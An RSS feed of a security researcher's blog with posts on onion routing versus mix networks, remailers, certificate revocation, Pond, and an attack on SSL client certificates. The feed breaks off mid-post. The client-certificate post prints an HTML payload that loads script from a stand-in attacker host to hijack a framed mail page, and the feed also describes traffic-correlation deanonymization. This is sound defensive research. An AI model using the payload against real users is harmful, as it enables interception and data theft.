<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
<channel>
<title>ritter.vg</title>
<link>http://ritter.vg</link>
<description>Personal weblog and homepage of Tom Ritter.  A smash and grab approach to technology.</description>

	<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/rittervg" /><feedburner:info uri="rittervg" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<guid isPermaLink="false">http://ritter.vg/blog-mix_and_onion_networks.html</guid>
		<title>The Differences Between Onion Routing and Mix Networks</title>
		<pubDate>12 Apr 2013 16:52:00 EST</pubDate>
		<description>&lt;style type="text/css"&gt;
.footnote:before {
    content: 'Footnote: '
}
.footnote {
    font-style: italic;
    font-size: small;
    font-family: Cambria,'Palatino Linotype','Book Antiqua','URW Palladio L',serif;;
}
&lt;/style&gt;

&lt;p&gt;As was pointed out in a recent &lt;a href="https://crypto.is/blog/what_is_a_remailer"&gt;comment on the first blog post&lt;/a&gt; I wrote on crypto.is, I had used the terms "mix network" and "onion routing" almost interchangeably.  In actuality I had fallen into a trap that a fair number of people familiar with the space have fallen into: using those terms without a solid differentiation.  This blog post aims to correct that.&lt;/p&gt;

&lt;p&gt;Firstly, I must give credit where credit is due - Paul Syverson (one of the original authors of Tor) wrote the paper that cemented this in my head most clearly, and I will quote it, and then restate it with pictures:&lt;/p&gt;

&lt;blockquote&gt;

&lt;p&gt;Mix networks get their security from the mixing done by their component
mixes, and may or may not use route unpredictability to enhance security. Onion
routing networks primarily get their security from choosing routes that are difficult 
for the adversary to observe, which for designs deployed to date has meant
choosing unpredictable routes through a network. And onion routers typically
employ no mixing at all. This gets at the essence of the two even if it is a bit too
quick on both sides. Mixes are also usually intended to resist an adversary that
can observe all traffic everywhere and, in some threat models, to actively change
traffic. Onion routing assumes that an adversary who observes both ends of a
communication path will completely break the anonymity of its traffic. Thus,
onion routing networks are designed to resist a local adversary, one that can
only see a subset of the network and the traffic on it.&lt;/p&gt;

&lt;p&gt;- &lt;a href="http://syverson.org/"&gt;Paul Syverson - Why I'm not an Entropist&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;Onion Routing&lt;/h3&gt;

&lt;p&gt;Onion Routing gets its security from the fact (or assumption) that it is difficult for an adversary to position itself on networks such that it is able to view &lt;em&gt;all&lt;/em&gt; the nodes in the route.  Practically speaking, if I built a route from my job in China, to a server in Australia, to a server in Russia, to a server in Sweden, and then visit a webpage in France - there are a number of adversaries who could see part of this path. For example: my employer, my employer's Internet Service Provider, the Chinese, Australian, Russian, Swedish, and French Governments, the website operator and their Internet Service Provider. But none of those entities are able to see the entire path (we hope!) because they do not own, control, or have direct influence over every network link I'm using. In this instance, Onion Routing can provide some security.&lt;/p&gt;

&lt;img src="/resources/mix_and_onion_networks/slide3.png"&gt;

&lt;h3&gt;Onion Routing Attacked&lt;/h3&gt;

&lt;p&gt;But if an adversary is able to see the entire path, Onion Routing loses its security.  I recently used a crowd of people in a real-life demonstration of this. Alice puts a message into an opaque film canister, and passes it to an onion routing node, who passes it to another, who passes it to another, who takes the message out of the canister, and hands it to the recipient Bob.  Everyone in the room can clearly see that it was Alice who passed a message to Bob, and even if there were multiple messages being passed, anyone could focus on an individual, and watch where the film canister passed wound up.&lt;/p&gt;

&lt;p&gt;There's been rumors and talks in the past of China or Iran cutting themselves off from the Internet, and making their own national Internet.  If they did, we could not just stand up a Tor network inside the country: it would provide no security because the government would be able to see the entire path.&lt;/p&gt;

&lt;img src="/resources/mix_and_onion_networks/slide4.png"&gt;


&lt;p&gt;There is another scenario where Onion Routing is known to fall down. If the adversary can see one node (A), and later another node (C) - even if there is an unseen or unknown number of nodes between A and C, an attacker can correlate the traffic.  A specific instance of this means if an attacker can see you, and can see the website you're visiting, even if you create a path outside the adversary's control - they will still be able to correlate the traffic and learn you are visiting the website. This clearly raises concerns about using Onion Routing to visit a company website or websites related to your own government.&lt;/p&gt;

&lt;img src="/resources/mix_and_onion_networks/slide5.png"&gt;

&lt;h3&gt;Mix Networks&lt;/h3&gt;

&lt;p&gt;Mixing; however, is specifically designed to provide security even if an adversary can see the entire path. To demonstrate this to a crowd of people I had Alice, Bob, and Carol each submit messages, in opaque film canisters, into my mix node (my backpack).  With all three film canister messages in my bag, I shook it, and distributed each message to a new mix node, each of which also had a couple of messages in their bags already. Then those nodes distributed messages to 6 more mix nodes, and those mix nodes opened the messages and distributed them to recipients.  Although everyone was able to see all of the messages that were passed around - it's impossible to tell who got Alice's, Bob's, or Carol's specific message.  The mixing, in backpacks, creates uncertainty for the attacker they are not able to overcome.&lt;/p&gt;

&lt;img src="/resources/mix_and_onion_networks/slide6.png"&gt;

&lt;p&gt;Mixing isn't perfect.  An adversary can still conduct long term correlation attacks, and if no one or almost no one uses the mix network along with you - it's even easier to attack. Furthermore, just because mix networks provide stronger security against a stronger adversary does not mean they provide better security &lt;em&gt;in general&lt;/em&gt;.  If you'd like to learn why, you can wait a while until I post about it, or just skip the middle man and read &lt;em&gt;Sleeping dogs lie on a bed of onions but wake when mixed&lt;/em&gt; by &lt;a href="http://www.syverson.org/"&gt;Paul Syverson&lt;/a&gt;.&lt;/p&gt;  

&lt;h3&gt;More Differences&lt;/h3&gt;

&lt;p&gt;A Mix Node must collect more than one message before sending any out - otherwise the node is behaving as an onion router node with a time delay.  The more messages collected, the more uncertainty is introduced as to which message went where.  The specific mixing algorithms employed (often calling pooling algorithms) will be a subject of a future blog post, but it's clear there must be multiple messages, which means the collected messages will generally sit in a mix node until 'sufficient' messages are collected (for some definition of sufficient).  This introduces latency.  If a mix node waits six hours to collect messages - well that's up to six hours of latency.  Accordingly, mix networks are often casually referred to as 'high latency' and onion routing networks as 'low latency'.  But the latency doesn't impart security - it's the mixing.&lt;/p&gt;

&lt;p&gt;Tor is an Onion Routing network.  It employs no mixing, and barring normal system task scheduling and processing, messages are sent as soon as they are received. The attacks described against onion routing above can and have been shown to work against Tor. While there is no evidence a government has resorted to performing the types of statistical attacks described in Academic papers - they have done rudimentary correlation involving physical surveillance.  Specifically: they watched a suspect arrive home, they watched some Tor traffic originate from his home, and they watched as the nickname they suspected was him appeared in the IRC channel.  &lt;span class="footnote"&gt;If you're curious, it can read more about that &lt;a href="http://arstechnica.com/tech-policy/2012/03/stakeout-how-the-fbi-tracked-and-busted-a-chicago-anon/2/"&gt;over here&lt;/a&gt;.&lt;/span&gt; Although Tor is a powerful tool, it is possible to distinguish Tor traffic from normal traffic, and it is possible to perform correlation-based attacks to de-anonymize your use of it. &lt;/p&gt;


&lt;p&gt;&lt;em&gt;Something to keep in mind is that deployed mix networks (Mixmaster, Mixminion) are not designed to disguise the fact that you are &lt;u&gt;using&lt;/u&gt; a mix network. If an adversary can simply lock you up for using anonymity tools, you need to disguise your use of anonymity tools, which is a whole other topic. Similarly, these tools are relatively obscure, and if an adversary can simply look across a large quantity of email traffic looking for someone who has received a Mixmaster message, who had not previously, simple correlation may also be possible. &lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This post originally appeared on &lt;a href="https://crypto.is/blog/mix_and_onion_networks"&gt;crypto.is&lt;/a&gt;.  Comments will be moved there.&lt;/em&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/QVWkzM_53wg" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/QVWkzM_53wg/blog-mix_and_onion_networks.html</link><feedburner:origLink>http://ritter.vg/blog-mix_and_onion_networks.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-amazon_windows_passwords.html</guid>
		<title>Decrypting Amazon EC2 Windows Passwords</title>
		<pubDate>3 Mar 2013 18:43:34 EST</pubDate>
		<description>&lt;p&gt;If you spin up a Windows Instance on Amazon EC2, the only way to get your password to it is using an Amazon-provided command-line tool to decrypt the password (supplying your private SSH Key) or pasting your private SSH key into the Web Interface.  That didn't sit too well with me. I'd prefer Amazon not have my private SSH key.&lt;/p&gt;

&lt;p&gt;I dug into the web interface, and their 3MB of obfuscated javascript, and found that do the decryption locally in Javascript - as they should.  I feel a little better now, but just the same I'd rather not trust them not to go and steal the key, or change it to a server operation for "performance reasons" or something.&lt;/p&gt;

&lt;p&gt;The password is padded with PKCS#1 1.5, encrypted, and then put through some odd byte/hex transformations.  If you'd like to decrypt the password yourself, locally, I've put up a &lt;a href="https://github.com/tomrittervg/decrypt-windows-ec2-passwd" class="themainlink"&gt;script on github&lt;/a&gt; to do so. It doesn't handle every corner case (encrypted keys being the biggest) but it hopefully it helps you a little.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/dtmHbvfVS0Q" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/dtmHbvfVS0Q/blog-amazon_windows_passwords.html</link><feedburner:origLink>http://ritter.vg/blog-amazon_windows_passwords.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-libtech_guidelines.html</guid>
		<title>Liberation Technology Auditing Guidelines</title>
		<pubDate>27 Feb 2013 21:06:34 EST</pubDate>
		<description>&lt;p&gt;Liberation Technology is kind of a catch-all bucket I borrowed from &lt;a href="http://liberationtechnology.stanford.edu/"&gt;Stanford's Program &amp; Listserv&lt;/a&gt; that I use to describe technology that's designed to be used by activisits, journalists, folks with increased privacy needs (survey participants, whistleblowers, law enforcement), and the like.  (I'm probably offending or upsetting someone by using this term willy nilly but I don't have a better one.)  These types of applications obviously have a higher bar for security: not only do they need to be free from the major 'bad' vulnerabilities like SQL Injection and Memory Corruption - but also thought and attention needs to be paid to things like "What third party requests are made?" and "What does my use of this application leak to a network observer?"&lt;/p&gt;

&lt;p&gt;There are a dearth of folks who are good at reviewing these applications, and of the ones their are - their time is spread too thinly and ultimately it's nobody's job so it's done in their free time.  To that end, I took a stab at putting all the things I've picked up over the years together, in an effort to get more folks involved in the process.  That list (sponsored by my employer) lives over &lt;a href="https://github.com/iSECPartners/LibTech-Auditing-Cheatsheet" class="themainlink"&gt;here at github&lt;/a&gt;. It's aimed directly at fellow security consultants, and intended to list additional technical issues to search for when auditing these types of applications. I'm not nearly the best at this, and I don't do as much as I'd like to, but it's something, and you can improve or fork it.&lt;/p&gt;

&lt;p&gt;What should you target with these ideas?  Everything!  There are high-profile applications like the ones by the &lt;a href="https://www.torproject.org/projects/projects.html.en"&gt;Tor Project&lt;/a&gt;, &lt;a href="https://github.com/whispersystems"&gt;Whisper Systems&lt;/a&gt;, and the &lt;a href="https://guardianproject.info/apps/"&gt;Guardian Project&lt;/a&gt;.  There are newer flashy projects like &lt;a href="https://crypto.cat/"&gt;Cryptocat&lt;/a&gt;, &lt;a href="https://www.mega.co.nz/"&gt;MEGA&lt;/a&gt;, and &lt;a href="https://crypton.io/"&gt;Crypton&lt;/a&gt;.  And there are brand-new projects that might take a bit of reverse engineering to understand - like &lt;a href="https://www.mywickr.com/en/index.php"&gt;Wickr&lt;/a&gt; and &lt;a href="https://silentcircle.com/"&gt;Silent Circle&lt;/a&gt;.  And this is not an exhaustive list.  The number of these types of applications has been increasing significantly in the past couple of years.  The number of auditors has not.&lt;/p&gt;

&lt;p&gt;I hope this list will inspire more people to look at these applications and contribute to them.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This post originally appeared on &lt;a href="https://isecpartners.com/news-events/news/2013/february/towards-better-security-when-the-stakes-are-high.aspx"&gt;iSEC Partners' blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/SmPcL8WgFZI" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/SmPcL8WgFZI/blog-libtech_guidelines.html</link><feedburner:origLink>http://ritter.vg/blog-libtech_guidelines.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-remailer_blog_posts.html</guid>
		<title>Remailer Blog Posts</title>
		<pubDate>07 Jan 2013 21:52 EST</pubDate>
		<description>&lt;p&gt;I don't write a lot, so when I do write for another blog (usualy an employer's) I tend to go to pains to copy the blog post here (with a credit).  Today I've published five technical blog posts for another blog, but I'm not reposting them - I'm just pointing at them.  They're hosted on the same machine as this one, just on a seperate domain, so I'm not worried about losing them.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Crypto.is kicks off its blog with a series of articles about remailers! This is the first several installments in what is intended to be a series on how remailers work, the theory behind them, and many of the choices that must be considered. Some of the topics we intended to dive deeply into in the future is how to have a directory of remailer nodes, how to handle messages that overflow the packet size, more details on Mixminion, as-yet-unimplemented Academic Papers (like Pynchon Gate and Sphinx), and more! Check out posts &lt;a href="https://crypto.is/blog/what_is_a_remailer"&gt;One&lt;/a&gt;, &lt;a href="https://crypto.is/blog/remailers_weve_got"&gt;Two&lt;/a&gt;, &lt;a href="https://crypto.is/blog/tagging_attacks"&gt;Three&lt;/a&gt;, &lt;a href="https://crypto.is/blog/packet_formats_1"&gt;Four&lt;/a&gt;, and &lt;a href="https://crypto.is/blog/tagging_attack_on_mixmaster"&gt;Five&lt;/a&gt;. The comments section should work, so please do leave comments if you have questions, insights, or corrections!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;These blog posts are:&lt;/p&gt;
&lt;table border="0" style="width:100%"&gt;

&lt;tbody&gt;&lt;tr&gt;
&lt;td style="width:5%"&gt;5&lt;/td&gt;
&lt;td style="width:47%"&gt;&lt;a href="https://crypto.is/blog/tagging_attack_on_mixmaster"&gt;A Tagging Attack on Mixmaster&lt;/a&gt;&lt;/td&gt;
&lt;td style="width:47%"&gt;05 Jan 2013 23:48:00 EST by &lt;a href="https://ritter.vg"&gt;Tom Ritter&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style="width:5%"&gt;4&lt;/td&gt;
&lt;td style="width:47%"&gt;&lt;a href="https://crypto.is/blog/packet_formats_1"&gt;Packet Formats 1 of 3(?)&lt;/a&gt;&lt;/td&gt;
&lt;td style="width:47%"&gt;05 Jan 2013 23:47:00 EST by &lt;a href="https://ritter.vg"&gt;Tom Ritter&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style="width:5%"&gt;3&lt;/td&gt;
&lt;td style="width:47%"&gt;&lt;a href="https://crypto.is/blog/tagging_attacks"&gt;Tagging Attacks&lt;/a&gt;&lt;/td&gt;
&lt;td style="width:47%"&gt;05 Jan 2013 23:46:00 EST by &lt;a href="https://ritter.vg"&gt;Tom Ritter&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style="width:5%"&gt;2&lt;/td&gt;
&lt;td style="width:47%"&gt;&lt;a href="https://crypto.is/blog/remailers_weve_got"&gt;Remailers We've Got&lt;/a&gt;&lt;/td&gt;
&lt;td style="width:47%"&gt;05 Jan 2013 23:45:00 EST by &lt;a href="https://ritter.vg"&gt;Tom Ritter&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style="width:5%"&gt;1&lt;/td&gt;
&lt;td style="width:47%"&gt;&lt;a href="https://crypto.is/blog/what_is_a_remailer"&gt;What is a Remailer?&lt;/a&gt;&lt;/td&gt;
&lt;td style="width:47%"&gt;05 Jan 2013 23:44:00 EST by &lt;a href="https://ritter.vg"&gt;Tom Ritter&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;/tbody&gt;&lt;/table&gt;

&lt;p&gt;I put a lot of effort into them, and it goes into (what I think) are fairly complicated topics like tagging attacks, so I hope you like them!&lt;/p&gt;

&lt;div style="text-align:center"&gt;&lt;img src="https://crypto.is/static/blog/post3/tagging.png" /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/0eedzzAFKGc" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/0eedzzAFKGc/blog-remailer_blog_posts.html</link><feedburner:origLink>http://ritter.vg/blog-remailer_blog_posts.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-an_attack_on_ssl_client_certificates.html</guid>
		<title>An Attack on SSL Client Certificates</title>
		<pubDate>07 Jan 2013 21:40 EST</pubDate>
		<description>&lt;p&gt;SSL is designed to provide Authenticity, Confidentiality, and Integrity. If an attacker is performing a Man in the Middle attack, they can slow down or close a SSL connection - but they cannot modify or learn the contents. The attacker should also not be able to impersonate the server - that's the Authenticity part. But Authenticity relies on Certificate Authorities - the attacker cannot impersonate a site because a CA will verify the applicant controls the domain applied for. But in the past couple years, we've seen some cracks there that have allowed advanced attackers to impersonate arbitrary and high-profile sites on the Internet. And of course, non-validating clients or installing a rogue CA into your trust store would make this easy too.&lt;/p&gt;

&lt;p&gt;Most websites authenticate a user using a username and password over HTTP. If an attacker is able to impersonate a website to a user they are able to use that ability to steal the username and password, talk to the website pretending to be the user, and proxy the data back and forth. Client certificates provide a stronger degree of authentication. An attacker can impersonate a website to a user, but cannot impersonate the user to the website because they do not know the client's private key. This severely limits the attacker: generally speaking the attacker is interested in learning the user's stored data on the server: for example the user's email. To accomplish this when the user authenticates with client certificates, the attacker would need the client certificate - to retrieve it they would have to exploit the user's browser or try a social engineering attack to trick the user into running malware manually. While those attacks are possible, they are not reliable or stealthy.&lt;/p&gt;

&lt;p&gt;However, an attacker who is able to impersonate the server to the user can effectively break into the SSL connection with the legitimate server, and exfiltrate the sensitive data - even with client certificate authentication. In addition to impersonating the server, the attacker must be able to intercept and manipulate the client's outbound network traffic. By relying on the Same Origin Policy, the attacker can trick the client into running javascript of the attacker's choosing that exfiltrates the data - while leaving the Client Certificate-authenticated SSL channel untouched.&lt;/p&gt;

&lt;p&gt;There are two techniques one can use to accomplish this. The simpler technique relies on impersonating any third-party SSL-protected javascript include - for example to target &lt;a href="https://developers.google.com/speed/libraries/devguide"&gt;Google's hosted libraries&lt;/a&gt;. By acting as Google, you can inject a &lt;a href="http://beefproject.com/"&gt;BEEF shell&lt;/a&gt; and view the user's content.&lt;/p&gt;

&lt;div style="text-align:center"&gt;&lt;img src="/resources/clientcerts/alice.jpg" alt="Alice"/&gt;&lt;/div&gt;

&lt;p&gt;That's a pretty obvious technique - by including two forms of authentication (mutual and one-sided) the site has effectively downgraded themselves to the lesser of the two. However, if the site has removed all third-party includes and authenticates all javascript using Client Certificates - it is still possible to perform the attack. In this instance, Alice tries to connect to Bob's site, but is intercepted by Mallory. Mallory can impersonate Bob to Alice, but cannot impersonate Alice to Bob, because Alice connects using a client certificate.&lt;/p&gt;

&lt;div style="text-align:center"&gt;&lt;img src="/resources/clientcerts/alice_2.jpg" alt="Alice 2"/&gt;&lt;/div&gt;

&lt;p&gt;With this new attack technique, Alice tries to connect to Bob, but is intercepted by Mallory. Mallory impersonates Bob to Alice, and requests a client certificate, which Alice expects. Alice selects her client certificate, which Mallory will accept without performing any certificate validation. After the TLS handshake is complete, Mallory returns a page that looks like this:&lt;/p&gt;

&lt;pre&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;
   &amp;lt;script src="https://mallory.com/d.js"&amp;gt;&amp;lt;/script&amp;gt;
   &amp;lt;iframe src="https://mail.corp.com" /&amp;gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;

&lt;p&gt;&lt;/p&gt;

&lt;p&gt;Mallory also sends a HTTP Connection:close directive and closes the SSL and TCP connection.&lt;/p&gt;

&lt;div style="text-align:center"&gt;&lt;img src="/resources/clientcerts/alice_3.jpg" alt="Alice 3"/&gt;&lt;/div&gt;

&lt;p&gt;When Alice retrieves this page, she will make two subsequent connections. First, the request for d.js, which Mallory fields and replies with a BEEF shell or similar mechanism that allows her to control the page. Secondly, the request for mail.corp.com for the iframe, which Mallory does _not_ intercept, but rather passes the connection to Bob legitimately. Alice initiates a new TLS handshake, authenticates herself to Bob, Bob authenticates himself to Alice, and the channel is mutually trusted. Mallory cannot read inside this connection, but using her javascript shell, can manipulate the page in the iframe thanks to the same-origin policy.&lt;/p&gt;

&lt;div style="text-align:center"&gt;&lt;img src="/resources/clientcerts/alice_4.jpg" alt="Alice 4"/&gt;&lt;/div&gt;

&lt;p&gt;A more insidious attack would be to poison the user's browser cache or HTML5 Local Storage. For a cache poisoning attack, because a javascript file does not contain user-specific or attacker-unknown data, an attacker could download the server's version of the Javascript file, using their valid credentials, poison it, and then serve it to the attacked user. If the attacker can force the browser into caching the document, it will be used on subsequent connections to the site, giving the attacker full control again. For HTML5 Local Storage, if a site used the clientside storage to store data or code, an attacker could read sensitive data or insert malicious javascript.&lt;/p&gt;

&lt;p&gt;Unfortunately, there's not much that can be changed in browsers to mitigate this attack. Any form of short-term certificate pinning (as is done with DNS to thwart &lt;a href="https://en.wikipedia.org/wiki/DNS_rebinding"&gt;DNS Rebinding&lt;/a&gt; will break some use of certificates on the internet: either different certificates on subdomains, CDNs, paths that route to a new webserver, or the case where every webserver has its own SSL Certificate (the 'Citi Bank' problem as dubbed by Moxie.)&lt;/p&gt;

&lt;p&gt;One mitigation is to prevent yourself from being framed using the X-FRAME-OPTIONS: DENY setting (SAMEORIGIN will leave you vulnerable), and pairing this with &lt;a href="https://en.wikipedia.org/wiki/Framekiller"&gt;javascript framebusting&lt;/a&gt; for older clients. However, this does not protect against browser cache or local storage poisoning.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This post originally appeared on &lt;a href="https://isecpartners.com/news-events/news/2012/december/an-attack-on-ssl-client-certificates.aspx"&gt;iSEC Partners' blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/1F1MJUb9jUs" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/1F1MJUb9jUs/blog-an_attack_on_ssl_client_certificates.html</link><feedburner:origLink>http://ritter.vg/blog-an_attack_on_ssl_client_certificates.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-revocation_paper.html</guid>
		<title>Fixing revocation for web browsers on the internet</title>
		<pubDate>07 Jan 2013 21:32 EST</pubDate>
		<description>&lt;p&gt;This is a tad dated, but I need to catch this blog up to the blog posts I've authored for my employer's blog.  Here's the blurb for a whitepaper I authored on revocation in web browsers.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The past couple years have had a number of Certificate Authority compromises that have resulted in high-profile sites having fraudulent certificates issued for them.  It has shown a spotlight on Certificate Authority practices and also the current trust calculation present in web browsers.  Two years ago, iSEC Partners collaborated with the EFF to create the &lt;a href="https://www.eff.org/observatory"&gt;SSL Observatory&lt;/a&gt;: a window into the issuing practices of CAs and this year released a scanning tool:sslyze that can be used to scan for SSL misconfigurations.  SSL is a critical piece of Internet infrastructure and has been a long time research focus for iSEC Partners.&lt;/p&gt;

&lt;p&gt;Recently, I've been interacting with the Certificate Authority/Browser forum on the topic of Certificate Revocation.  Many projects like DANE, Convergence, TACK, and numerous others all cover the topic of initial trust - do I trust this certificate or not - the issue of revocation has been left largely alone with the exception of Chrome developing &lt;a href="http://www.imperialviolet.org/2012/02/05/crlsets.html"&gt;crl-sets&lt;/a&gt;. But recovering from failure is at least as important as protecting ourselves from it in the first place, so we have an interest in making sure Revocation provides the properties that we desire.  At the September meeting of the CA/B Forum, I presented what I feel is the correct path forward for revocation checking in web browsers. &lt;/p&gt;

&lt;p&gt;The paper I presented identifies five key properties a revocation system should provide: to be Privacy Preserving, to be Performant, to have No Single Point of Failure, to Uniquely Identify a Certificate, and finally, to be Effective.  After evaluating the possible ways forward, I suggest the path of least resistance and the methodology that can be followed to move us towards a web where you are confident in the status of a certificate.  Unfortunately, this requires a concerted effort to develop, test, and deploy updated versions of web servers and convince stakeholders of the benefits of doing so.  This paper is meant to spur conversation and be a proposal that others can be compared to. The discussion at the CAB forum overall was positive, and I appreciated the opportunity to meet and discuss these issues with people who also care passionately about this niche of the web infrastructure.&lt;/p&gt;

&lt;p&gt;Read our whitepaper &lt;a href="https://isecpartners.com/research/white-papers/fixing-revocation-for-web-browsers-on-the-internet.aspx"&gt;Here&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;This post originally appeared on &lt;a href="https://isecpartners.com/news-events/news/2012/november/fixing-revocation-for-web-browsers-on-the-internet.aspx"&gt;iSEC Partners' blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/ve1PQXI5D-A" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/ve1PQXI5D-A/blog-revocation_paper.html</link><feedburner:origLink>http://ritter.vg/blog-revocation_paper.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-initial_pond_thoughts.html</guid>
		<title>Some Initial Thoughts on Pond</title>
		<pubDate>24 Nov 2012 17:11 EST</pubDate>
		<description>&lt;p&gt;&lt;a href="https://github.com/agl/pond"&gt;Pond&lt;/a&gt; is a personal project published this weekend by &lt;a href="http://www.imperialviolet.org/"&gt;Adam Langley&lt;/a&gt;.  Adam is wicked smart and manages both Google's SSL infrastructure and Chrome's SSL implementation (and all the nifty SSL features Chrome throws in, like NPN and DNSSEC Stapled Certs). So when he tweeted about Pond, I knew it was worth a very close look.  Pond is a new encrypted messaging protocol and implementation, akin to encrypted E-Mail but with some differences.  This blog post is less a critical analysis of it's security or design, and is really just some initial thoughts on the architecture.  It's light on the introduction, so you may want to read &lt;a href="https://github.com/agl/pond"&gt;the project's README&lt;/a&gt; for background.&lt;/p&gt;

&lt;h2&gt;Permitted Senders&lt;/h2&gt;

&lt;p&gt;Firstly, Pond can be thought of similar to email.  It's asynchronous, which means you can send messages to someone even if they're not 'online', and a server will receive and store them on the user's behalf.  The user can in turn connect to their server and retrieve messages when their client is online.  However, the first big difference between Pond and E-mail is &lt;em&gt;you cannot 'pond' someone who has not permitted it&lt;/em&gt;, where 'pond' is me verbing the noun.  This is a huge, huge difference between Pond and E-Mail, and honestly I think makes Pond much less useful than I'd like. The reason behind this is Spam, and that's not a bad reason. I'm a bit young to have been around when the 'require email to have a proof of work' arguments were ensuing, but a cursory survey indicates &lt;a href="http://www.cl.cam.ac.uk/~rnc1/proofwork.pdf"&gt;one argument against it&lt;/a&gt; was based around legitimate bulk email services. I don't know if that's relevant to Pond, so perhaps it's worth revisiting this debate.&lt;/p&gt; 

&lt;p&gt;Anyway, Pond enforces the notion of allowed senders, by using a group signature scheme.  The group signature scheme allows your pondserver (analogous to mailserver) to verify that the person ponding you is a member of your allowed group, but cannot verify who exactly in the group it is.  If you want to revoke the ability of someone to pond you, you can do that, but everyone on your accepted list will learn that you revoked &lt;em&gt;someone&lt;/em&gt;.  &lt;/p&gt;

&lt;p&gt;Because messages are forward secure and the protocol is based on OTR, you the user must communicate a &lt;a href="https://github.com/agl/pond/blob/master/protos/pond.proto#L114"&gt;KeyExchange&lt;/a&gt; message to you intended acceptable contact out of band on a secure channel.  The KeyExchange message includes less sensitive things like your server address, and private things like the private key for that particular user to participate in the group signature.&lt;/p&gt;

&lt;h2&gt;Message Sizes&lt;/h2&gt;

&lt;p&gt;All messages that are exchanged between the client and the server are 16KB - whether the user is checking his messages, sending a message, making a revocation, or otherwise.  Pond currently &lt;a href="https://github.com/agl/pond/blob/master/client/network.go#L35"&gt;does not support messages larger than 16KB&lt;/a&gt;.  I wish I had a blog post written on how remailers handle oversized messages - it's not pretty.  This is a hard problem.  Both Mixmaster and Mixminion will chunk oversized messages into the constant-sized fragments; although Mixminion will apply a &lt;a href="&gt;http://www.mixminion.net/E2E-spec.txt"&gt;K of N scheme&lt;/a&gt; to allow reconstruction from a subset of fragments.&lt;/p&gt;

&lt;p&gt;The issue with oversized messages is that they can allow a user to be deanonymized by sending them oversized messages.  Send a user a 500MB message, and then watch all Remailer/Pond users to see who retrieves a 500Mb message.  This is easier when the attacker is the sender of the large file but can work regardless if the attacker knows a large file is going to be sent.  There's not a great solution for this problem - but it's a pretty important one to at least try to solve.  It's fairly easy to anonymously/pseudonymously send text, we have a number of techniques.  But sending media: images, video, pdfs - we don't have a great system for.&lt;/p&gt;

&lt;h2&gt;Future Directions&lt;/h2&gt;

&lt;p&gt;Some things I think would be worth looking much closer at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Does the omission of the KeyID in the &lt;a href="http://www.cypherpunks.ca/otr/Protocol-v3-4.0.0.html"&gt;OTR Protocol&lt;/a&gt; hurt anything?&lt;/li&gt;
&lt;li&gt;The implications of a KeyExchange structure being disclosed after a number of messages are exchanged.&lt;/li&gt;
&lt;li&gt;Is there a server DoS possibility by asserting the server must confirm the group signature of the client?  Can a proof of work be inserted to ameliorate this?&lt;/li&gt;
&lt;li&gt;The use of ACKs makes me nervous and remind me of Read Receipts.  And no one likes those. Could there be another way to ratchet DH values?  Maybe prefill the server with encrypted-to-the-contact value or values to give them?&lt;/li&gt;
&lt;li&gt;Does the Pond Server or Client leak distinguishing information in the form of time skew? Probably, but most things do, so don't hold it against Pond.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Also, I think something else that would be worth considering is changing the notion of contacts you can communicate with, to contacts you can communicate &lt;em&gt;large messages&lt;/em&gt; with.  The changes, which are not trivial, would look like this:&lt;/p&gt;

&lt;ol&gt;
